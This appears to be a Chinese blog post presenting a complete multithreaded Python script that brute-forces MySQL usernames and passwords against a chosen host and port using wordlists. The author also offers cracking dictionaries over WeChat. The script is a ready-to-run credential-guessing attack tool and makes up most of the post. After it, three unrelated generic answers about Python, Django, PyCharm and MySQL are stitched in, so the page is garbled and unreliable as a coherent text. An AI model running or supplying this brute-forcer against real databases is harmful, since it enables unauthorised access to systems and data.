用Python写了个工具,完美破解了MySQL!!(建议收藏)

大家好,我是冰河~~

最近有很多小伙伴问我:冰河,咋感觉你啥都会呀?Java、Python、大数据、分布式、微服务、系统架构、运维、渗透,请问你平时是怎么学习的呢?我:个人觉得最好的学习方法就是,在平时的工作过程中,遇到问题多总结,注意积累解决问题的方案,及时查漏补缺,逐渐形成一套自己的方法论。

要知道,每项知识、技能的积累,需要的是日复一日的坚持,正所谓——持之以恒,贵在坚持,这样才能做到每天进步一点点

小伙伴们如果觉得文章不错,点赞、收藏、评论,分享走一起呀,记得给冰河来个一键三连~~

进入主题

好了,进入今天的主题吧,今天下班回到家想登录下MySQL数据库,不巧的是,忘记了MySQL数据库的用户和密码了,怎么办?使用安全模式登录?我想这么常规的方式应该大家都会吧!今天,就来点不一样的吧,那就是使用Python写个爆破MySQL的工具,看能不能爆破出MySQL的用户和密码。

小伙伴们如果觉得文章不错,点赞、收藏、评论,分享走一起呀,记得给冰河来个一键三连~~

好了,咱们说干就干,开始吧。

爆破脚本

这次编写的爆破MySQL的Python脚本使用了Python中的多线程编程,并且导入了MySQLdb模块。运行时,脚本分别接收如下五个参数:

  • 待破解的ip/domain:例如127.0.0.1
  • 端口:例如3306
  • 数据库:例如test
  • 用户名列表文件:例如user.txt文件
  • 密码列表文件:例如password.txt文件

相对来说,还是比较简单的,下面就给出完整的脚本代码吧。

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2021/06/30
# Created by 冰河
# Description MySQL暴力破解工具多线程版
import os, sys, re, socket, time
from functools import partial
from multiprocessing.dummy import Pool as ThreadPool
 
try:
    import MySQLdb
except ImportError:
    print '\n[!] MySQLdb模块导入错误,请到下面网址下载:'
    print '[!] http://www.codegood.com/archives/129'
    exit()
 
 
def usage():
    print '+' + '-' * 50 + '+'
    print '\t   Python MySQL暴力破解工具多线程版'
    print '\t   微信公众号:冰河技术'
    print '\t\t Code BY: 冰河'
    print '\t\t Time:2021-06-30'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 6:
        print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表"
        print "实例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1  3306  test user.txt pass.txt"
        sys.exit()
 
 
def mysql_brute(user, password):
    "mysql数据库破解函数"
    db = None
    try:
        # print "user:", user, "password:", password
        db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
        # print '[+] 破解成功:', user, password
        result.append('用户名:' + user + "\t密码:" + password)
    except KeyboardInterrupt:
        print '已成功退出程序!'
        exit()
    except MySQLdb.Error, msg:
        print '程序出错,错误信息为:', msg
        pass
    finally:
        if db:
            db.close()
 
 
if __name__ == '__main__':
    usage()
    start_time = time.time()
    if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
        host = sys.argv[1]
    else:
        host = socket.gethostbyname(sys.argv[1])
    userlist = [i.rstrip() for i in open(sys.argv[4])]
    passlist = [j.rstrip() for j in open(sys.argv[5])]
    print '\n[+] 目  标:%s \n' % sys.argv[1]
    print '[+] 用户名:%d 条\n' % len(userlist)
    print '[+] 密  码:%d 条\n' % len(passlist)
    print '[!] 密码破解中,请稍候……\n'
    result = []
 
    for user in userlist:
        partial_user = partial(mysql_brute, user)
        pool = ThreadPool(10)
        pool.map(partial_user, passlist)
        pool.close()
        pool.join()
    if len(result) != 0:
        print '[+] MySQL密码破解成功!\n'
        for x in {}.fromkeys(result).keys():
            print x + '\n'
    else:
        print '[-] MySQL密码破解失败!\n'
    print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)

脚本编写完成后,运行,等待了一段时间,将我的MySQL的用户和密码完美的破解出来了。

这里需要注意的是:能不能破解出MySQL的用户和密码,那要看你的爆破字典是否足够强大了,说直白点,就是你的user.txt文件中的用户和password.txt文件中的密码是否足够齐全。

如果你想获取一个相对来说比较强大的爆破密码的字典文件,可以加我微信:sun_shine_lyz私聊获取。并且我自己也写了一个根据输入的位数生成密码字典的程序,大家也可以私聊我获取。

推荐书籍

这次,也给大家推荐一些关注渗透方面的书籍吧。

《冰河的渗透实战笔记》

首先,就是我最近写的这本《冰河的渗透实战笔记》,一本很不错的渗透实战电子书,绝大部分来源于冰河多年的渗透实战笔记。

下载地址:https://download.csdn.net/download/l1028386804/18830348

在这里插入图片描述

另外,再推荐两本,我之前深入研究过的并且很不错的书籍。

《IDA Pro代码破解揭秘》

《IDA Pro权威指南(第2版)》

写在最后

如果你想进大厂,想升职加薪,或者对自己现有的工作比较迷茫,都可以私信我交流,希望我的一些经历能够帮助到大家~~

推荐阅读:

好了,今天就到这儿吧,小伙伴们点赞、收藏、评论,一键三连走起呀,我是冰河,我们下期见~~

### 回答1: Python是一种高级编程语言,它具有简单易学、功能强大和可扩展性等特点。Django是一个Python的Web框架,它提供了许多工具和库,帮助我们更快速地开发Web应用程序。PyCharm是一种Python开发环境,它提供了丰富的功能,帮助我们更有效地编、调试和管理Python代码。MySQL是一种流行的关系型数据库管理系统,它可以与Python和Django结合使用,用于存储和管理数据。 Python和Django的结合可以帮助我们快速、高效地开发Web应用程序。Django提供了许多功能强大且易于使用的模块和工具,包括URL路由、模板引擎、表单处理、用户认证等。使用Django,我们可以快速地建立数据库模型、处理用户请求和生成网页模板等。 PyCharm作为一个Python开发环境,提供了很多方便的功能。例如,它可以自动补全代码、提供调试器和错误检查工具,还可以集成版本控制系统等。使用PyCharm,我们可以更高效地编、调试和管理Python代码。 MySQL是一个功能强大的关系型数据库系统。它可以与Python和Django结合使用,用于存储和管理数据。我们可以使用PythonMySQL驱动程序连接到MySQL数据库,并执行诸如插入、更新和查询等操作。在Django中,我们可以使用它的ORM(对象关系映射)功能,通过类和对象的方式来操作数据库,这样可以更方便地进行数据库操作。 总的来说,Python、Django、PyCharm和MySQL是一组强大的工具,它们的结合可以极大地提高我们开发Web应用程序的效率和质量。无论是初学者还是有经验的开发者,都可以借助这些工具来快速构建功能完善、易于维护的Web应用程序。 ### 回答2: Python是一种高级编程语言,广泛用于Web开发、数据处理、人工智能等领域。它的语法简洁、易于学习,因此备受开发者的喜爱。 Django是一个基于Python的Web框架,它提供了许多开发Web应用所需的功能和工具,如URL路由、模板引擎、表单处理等。使用Django可以快速搭建稳定、安全且易于维护的Web应用。 PyCharm是一款强大的Python集成开发环境(IDE),它提供了许多便捷的功能,如代码自动补全、调试器、版本控制工具等。使用PyCharm可以提高开发效率,减少错误。 MySQL是一种流行的关系型数据库管理系统。它使用结构化查询语言(SQL)作为操作语言,可以存储和管理大量结构化数据。Python通过各种数据库接口可以与MySQL进行连接,方便地进行数据读操作。 结合Python、Django、PyCharm和MySQL,我们可以快速开发高效的Web应用。首先,使用PyCharm创建Django项目,然后在项目中编Python代码和Django的相关配置,实现业务逻辑、URL路由等功能。通过Django的模板引擎,我们可以方便地渲染动态页面。同时,通过MySQL存储数据,我们可以使用Django提供的ORM工具进行数据库操作,使数据的读更加简洁和安全。 总的来说,Python、Django、PyCharm和MySQL是一组强大的工具和技术,它们的结合可以帮助开发者快速构建高效、安全的Web应用,并进行灵活的数据操作。 ### 回答3: Python是一种高级编程语言,它具有简单易学、功能强大和灵活的特点。它被广泛应用于Web开发、数据分析、人工智能等领域。而Django是一个基于Python的开源Web框架,它提供了一套完整的开发工具和规范,可以帮助开发者快速搭建高效、稳定的Web应用。 PyCharm是一种Python开发环境,它提供了丰富的代码编辑、调试和自动完成等功能,使开发过程更加便捷和高效。它可以与Django框架完美集成,提供强大的开发支持。 MySQL是一种流行的关系型数据库管理系统,它可以存储和管理大量的结构化数据,如用户信息、商品数据等。Python可以通过MySQL的数据库驱动程序进行与数据库的交互操作。使用PythonMySQL可以实现数据的读取、插入、更新和删除等操作,为Web应用提供持久化的数据存储。 在使用Python开发Django应用时,可以借助PyCharm进行代码编辑和调试,并利用MySQL作为后台数据库进行数据存储和管理。PyCharm提供了强大的代码自动完成、语法检查和调试功能,可以大大提升开发效率和代码质量。同时,使用MySQL作为数据库可以保证数据的稳定性和安全性,满足对数据管理的需求。 总之,Python、Django、PyCharm和MySQL是一套非常强大的开发工具组合,可以帮助开发者高效、稳定地实现Web应用的开发和数据管理。通过它们的结合使用,可以快速搭建出高质量的Web应用,并实现与数据库的数据交互操作。
评论 881
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

冰 河

可以吃鸡腿么?

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值